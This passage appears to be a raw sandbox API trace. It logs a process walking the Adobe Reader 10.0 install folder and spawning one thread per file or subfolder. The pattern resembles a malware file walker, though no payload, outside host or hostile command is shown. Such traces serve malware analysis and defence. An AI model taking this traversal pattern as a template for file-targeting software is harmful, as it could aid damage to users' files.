out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0097.073] wcscmp (_String1="Berime.htm", _String2=".") returned 1 [0097.073] wcscmp (_String1="Berime.htm", _String2="..") returned 1 [0097.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7a3500 [0097.073] wcscpy (in: _Dest=0x1b7a3500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.073] wcscat (in: _Dest=0x1b7a3500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.074] wcscat (in: _Dest=0x1b7a3500, _Source="Berime.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0097.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a3500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1094 [0097.075] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0097.075] wcscmp (_String1="Esl", _String2=".") returned 1 [0097.075] wcscmp (_String1="Esl", _String2="..") returned 1 [0097.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864760 [0097.075] wcscpy (in: _Dest=0x1b864760, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.075] wcscat (in: _Dest=0x1b864760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.075] wcscat (in: _Dest=0x1b864760, _Source="Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0097.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b864760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1098 [0097.076] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0097.076] wcscmp (_String1="IrakHau.htm", _String2=".") returned 1 [0097.076] wcscmp (_String1="IrakHau.htm", _String2="..") returned 1 [0097.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866b40 [0097.077] wcscpy (in: _Dest=0x1b866b40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.077] wcscat (in: _Dest=0x1b866b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.077] wcscat (in: _Dest=0x1b866b40, _Source="IrakHau.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0097.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x109c [0097.078] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0097.078] wcscmp (_String1="Leame.htm", _String2=".") returned 1 [0097.078] wcscmp (_String1="Leame.htm", _String2="..") returned 1 [0097.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8647d0 [0097.078] wcscpy (in: _Dest=0x1b8647d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.078] wcscat (in: _Dest=0x1b8647d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.078] wcscat (in: _Dest=0x1b8647d0, _Source="Leame.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0097.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8647d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0097.079] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0097.079] wcscmp (_String1="LeesMij.htm", _String2=".") returned 1 [0097.079] wcscmp (_String1="LeesMij.htm", _String2="..") returned 1 [0097.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8674c0 [0097.079] wcscpy (in: _Dest=0x1b8674c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.079] wcscat (in: _Dest=0x1b8674c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.079] wcscat (in: _Dest=0x1b8674c0, _Source="LeesMij.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0097.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8674c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4 [0097.080] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0097.080] wcscmp (_String1="Leggimi.htm", _String2=".") returned 1 [0097.080] wcscmp (_String1="Leggimi.htm", _String2="..") returned 1 [0097.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867540 [0097.080] wcscpy (in: _Dest=0x1b867540, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.081] wcscat (in: _Dest=0x1b867540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.081] wcscat (in: _Dest=0x1b867540, _Source="Leggimi.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0097.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a8 [0097.081] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0097.081] wcscmp (_String1="LeiaMe.htm", _String2=".") returned 1 [0097.082] wcscmp (_String1="LeiaMe.htm", _String2="..") returned 1 [0097.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864840 [0097.082] wcscpy (in: _Dest=0x1b864840, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.082] wcscat (in: _Dest=0x1b864840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.082] wcscat (in: _Dest=0x1b864840, _Source="LeiaMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0097.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ac [0097.083] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0097.083] wcscmp (_String1="Liesmich.htm", _String2=".") returned 1 [0097.083] wcscmp (_String1="Liesmich.htm", _String2="..") returned 1 [0097.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8675c0 [0097.083] wcscpy (in: _Dest=0x1b8675c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.083] wcscat (in: _Dest=0x1b8675c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.083] wcscat (in: _Dest=0x1b8675c0, _Source="Liesmich.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0097.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8675c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0 [0097.084] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0097.084] wcscmp (_String1="Lisezmoi.htm", _String2=".") returned 1 [0097.084] wcscmp (_String1="Lisezmoi.htm", _String2="..") returned 1 [0097.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b867640 [0097.084] wcscpy (in: _Dest=0x1b867640, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.084] wcscat (in: _Dest=0x1b867640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.084] wcscat (in: _Dest=0x1b867640, _Source="Lisezmoi.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0097.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4 [0097.085] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="LLEGIU~1.HTM")) returned 1 [0097.085] wcscmp (_String1="Llegiu-me.htm", _String2=".") returned 1 [0097.085] wcscmp (_String1="Llegiu-me.htm", _String2="..") returned 1 [0097.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8676c0 [0097.086] wcscpy (in: _Dest=0x1b8676c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.086] wcscat (in: _Dest=0x1b8676c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.086] wcscat (in: _Dest=0x1b8676c0, _Source="Llegiu-me.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0097.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8676c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b8 [0097.087] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0097.087] wcscmp (_String1="LueMinut.htm", _String2=".") returned 1 [0097.087] wcscmp (_String1="LueMinut.htm", _String2="..") returned 1 [0097.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b867740 [0097.087] wcscpy (in: _Dest=0x1b867740, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.087] wcscat (in: _Dest=0x1b867740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.087] wcscat (in: _Dest=0x1b867740, _Source="LueMinut.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0097.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc [0097.089] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0097.089] wcscmp (_String1="Reader", _String2=".") returned 1 [0097.089] wcscmp (_String1="Reader", _String2="..") returned 1 [0097.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8648b0 [0097.089] wcscpy (in: _Dest=0x1b8648b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.089] wcscat (in: _Dest=0x1b8648b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.089] wcscat (in: _Dest=0x1b8648b0, _Source="Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0097.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8648b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0 [0097.090] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0097.090] wcscmp (_String1="ReadMe.htm", _String2=".") returned 1 [0097.090] wcscmp (_String1="ReadMe.htm", _String2="..") returned 1 [0097.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e5d0 [0097.090] wcscpy (in: _Dest=0x1b86e5d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.090] wcscat (in: _Dest=0x1b86e5d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.090] wcscat (in: _Dest=0x1b86e5d0, _Source="ReadMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0097.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e5d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4 [0097.091] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0097.091] wcscmp (_String1="ReadMeCS.htm", _String2=".") returned 1 [0097.091] wcscmp (_String1="ReadMeCS.htm", _String2="..") returned 1 [0097.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8677c0 [0097.091] wcscpy (in: _Dest=0x1b8677c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.091] wcscat (in: _Dest=0x1b8677c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.091] wcscat (in: _Dest=0x1b8677c0, _Source="ReadMeCS.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0097.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8677c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8 [0097.092] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCT.htm", cAlternateFileName="")) returned 1 [0097.092] wcscmp (_String1="ReadMeCT.htm", _String2=".") returned 1 [0097.092] wcscmp (_String1="ReadMeCT.htm", _String2="..") returned 1 [0097.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b867840 [0097.092] wcscpy (in: _Dest=0x1b867840, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.092] wcscat (in: _Dest=0x1b867840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.092] wcscat (in: _Dest=0x1b867840, _Source="ReadMeCT.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0097.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc [0097.093] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80815880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4623, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeCZE.htm", cAlternateFileName="REE3F7~1.HTM")) returned 1 [0097.093] wcscmp (_String1="ReadMeCZE.htm", _String2=".") returned 1 [0097.093] wcscmp (_String1="ReadMeCZE.htm", _String2="..") returned 1 [0097.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8678c0 [0097.093] wcscpy (in: _Dest=0x1b8678c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.093] wcscat (in: _Dest=0x1b8678c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.093] wcscat (in: _Dest=0x1b8678c0, _Source="ReadMeCZE.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0097.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8678c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d0 [0097.094] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 